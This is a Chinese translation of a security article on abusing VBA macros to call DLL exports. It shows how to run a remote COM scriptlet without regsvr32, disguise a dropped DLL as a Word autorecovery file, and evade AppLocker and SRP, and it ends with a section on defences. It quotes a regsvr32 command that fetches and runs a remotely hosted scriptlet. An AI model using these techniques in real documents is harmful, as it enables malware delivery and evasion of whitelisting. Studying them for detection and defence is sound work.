导语:在VBA中使用DLL,如何将shellcode注入到当前运行的进程?

timg.jpg

最近对在VBA中使用DLL的大量研究主要集中在如何将shellcode注入到当前运行的进程这一部分,本文就是基于这些研究,向大家展示在VBA中使用DLL改善宏的攻击功能。

大致的改善过程分以下2个阶段:

1.使用已经存在于磁盘上的DLL,执行regsvr32命令,

2.使用已经存在于磁盘上的DLL, 模拟已经存储到磁盘的合法文件的Office程序。

没有regsvr32的远程COM Scriptlets

研究人员Casey Smith所发现的绕过应用程序白名单的其中一项技术就是利用Microsoft签名的二进制regsvr32, regsvr32用于注册和注销OLE控件(例如,DLL和ActiveX)。

译者注:2016年,研究人员Casey Smith通过解析Windows系统,在AppLocker这一安全保障工具中发现了漏洞。如果命令Regsvr32指向一个远程托管文件,将会获得所有应用程序的系统运行权限。

总之,regsvr32可以通过HTTP检索远程托管的COM脚本,这其中就包含在注册或注销时执行的代码。 但regsvr32的一个奇怪之处就在于可以同时执行注册和注销,因此在regsvr32退出后不会再注册。

由于regsvr32是Microsoft签名的二进制文件,可用于绕过应用程序白名单。在Casey Smith的方法中,所使用的regsvr32的命令如下:

regsvr32 /s /n /u /i:http://someinconspicuoussite.com/file.sct scrobj.dll

regsvr32的“/ u / i:…”标志表示在名为DllInstall(“/ i”)的scrobj.dll中调用导出的DLL函数,然后取消注册(“/ u”)。对于其中的两个标志,我们要注意的是,首先DllInstall与比较常用的DllRegisterServer不同。虽然它们两个在功能上非常相似,但是DllInstall能够将一个指向“/ i”参数的字符串的指针作为参数,并启用自定义地注册功能。在scrobj.dll的环境下,此字符串可以指向包含COM scriptlet的HTTP资源。除此之外,此命令的注销组件涉及在调用DllInstall时将布尔参数简单地设置为false,并将其函数的上下文更改为“uninstall"”。因此,regsvr32仅用作调用DLL中的导出函数的前端。

我们可以在VBA中找到一个函数,该函数可以映射到scrobj.dll中的导出的DllInstall函数,我们可以模仿regsvr32的功能,导出的DllInstall函数需要两个参数:false(卸载过的)和指向具有COM Scriplet的URL字符串的指针。

2.jpg

我们可以从上图中看到命令已经执行了,不过最重要的一点是,该执行过程没有使用regsvr32的命令行事件日志,因为它不会被执行。而这正是攻击者最理想的攻击方式,因为对于安全监测来说,包含远程资源参数的regsvr32的事件日志是发现恶意活动的明显指标。

但光有第一阶段显然是不行的,攻击者还需要进入第二阶段的操作过程,以产生新进程或注入到现有进程,否则任何C2通道都将在Office程序关闭后立即丢失。虽然这个过程是不可避免的,但我们可以尽量控制一下,例如,在Cobalt Strike中的标准regsvr32有效载荷内,我们可以直接在VBA函数调用中使用。

将DLL存储在合法的Office文件中

将文件放在磁盘上会增加检测的风险,因为这些文件通常在创建的过程通常会有异常的操作,然而,使用VBA可以创建和交互一个DLL,这样异常的Office程序就看起来合法了。可以这么说,这一过程能否成功地实现是整个第二阶段成败的关键。

首先,应该将DLL存储在Office程序进程将创建文件的位置,在下面的案例中,Word宏用于存储自动恢复文件的DLL(“%appdata% Microsoft  Word”)。这些文件是在Word崩溃时创建的。然而,更重要的是,这里存储的文件应该使用与自动恢复文件相同的文件名和扩展名,例如,自动恢复文件名为Document3.asd,则存储的文件也应该是Document3.asd。我们可以以这种方式命名文件,因为Word不会将DLL的有效扩展名列入白名单。

其次,与自定义DLL进行交互是有问题的,因为在模块的开头定义时,VBA会将映射到DLL中的导出函数,定义在最前面,并且DLL必须在规定的时间内定义完毕,否则VBA代码本身就会存储到磁盘上。我们可以使用包含定义的第二个VBA模块来解决这个问题。在第一个模块创建完DLL后,然后就可以调用第二个模块中的一个子例程,该子程序可以访问导出的DLL函数。其中我们要解决的主要问题就是从位于一般的路径之外的位置加载DLL。当在函数定义中引用存储的DLL时,我们还无法指定具体的路径,因为我们还不知道目标受害者的用户名,并且该路径还不能包含环境变量(例如“%appdata%”)。因此,我们就必须将文件名指定为当前工作目录中的文件名,而不是存储目录的文件名。为了解决这个问题,我们会使用一个VBA函数来修改VBA的路径,该路径是可以接受环境变量的。这会在第一个模块中调用,修改的运行路径会在第二个模块被调用时仍然存在,最后可以在需要时以标准搜索路径的方式加载DLL了。

简单归纳起来就是,第一个模块会检索并将DLL存储到具有模拟文件的文件名和非DLL扩展名的磁盘上,等该文件创建后,就可以将VBA的当前工作目录更改为存储DLL的位置。下面的案例就显示Word是如何通过HTTP来检索文件的。它可以包含在VBA本身,但是为了简化代码,到达测试目的,我们这里就把它简单描述为通过HTTP。

3.png

第二个模块是从DLL调用导出函数的模块,修改以后的当前工作目录会被转移到第二个模块中,并且引用DLL而不指定绝对路径。子程序可以调用导出的函数,如下图中的“run”。

4.png

在上面的案例中,我们通过使用“run”找到一种使Unmanaged PowerShell通过VBA运行的方法,但是在导出的函数中,DLL可以包含任何有效载荷。

还应该注意的是,软件限制策略(SRP)和AppLocker的“DLL规则”与默认规则集都不会对该攻击具有防御作用。 SRP是基于黑名单的文件扩展名,AppLocker的“DLL规则”则仅限于两个文件扩展名(“.dll”和“.ocx”)。在SRP的环境下,如果不破坏自动恢复功能,则无法阻止此方法的攻击行为,而在AppLocker的环境下,该方法下所使用的扩展名根本就不在“DLL规则”的文件名列表里。

防御措施

尽管本文所讲述的这种绕过技术,能让攻击者在攻击时被检测到,但这并不代表就没有办法来进行安全防护。

从端点的保护角度来看,命令行事件日志仍然很重要。虽然,本文所介绍的第一种技术可以绕过对异常regsvr32的检测,但在第二阶段内,攻击者的活动还是会留下许多操作痕迹的。此外,部署具有强大内存分析功能的端点检测和响应(EDR)解决方案将有助于检测使用诸如DLL注入等技术在其他进程中持久化的有效载荷。

从网络防御的角度来看,只要我们有了深度的数据包检测,同样也可以检测出本文所讲的这种攻击, 例如,虽然COM脚本没有标准的“.sct”扩展名,但是可以使用常见的扩展名来替代,例如就可以把“.ico”作为Favicon映像,而在第二阶段中下载DLL时,也可以使用“.js” 作为JavaScript的文件名。 

源链接

Hacking more

...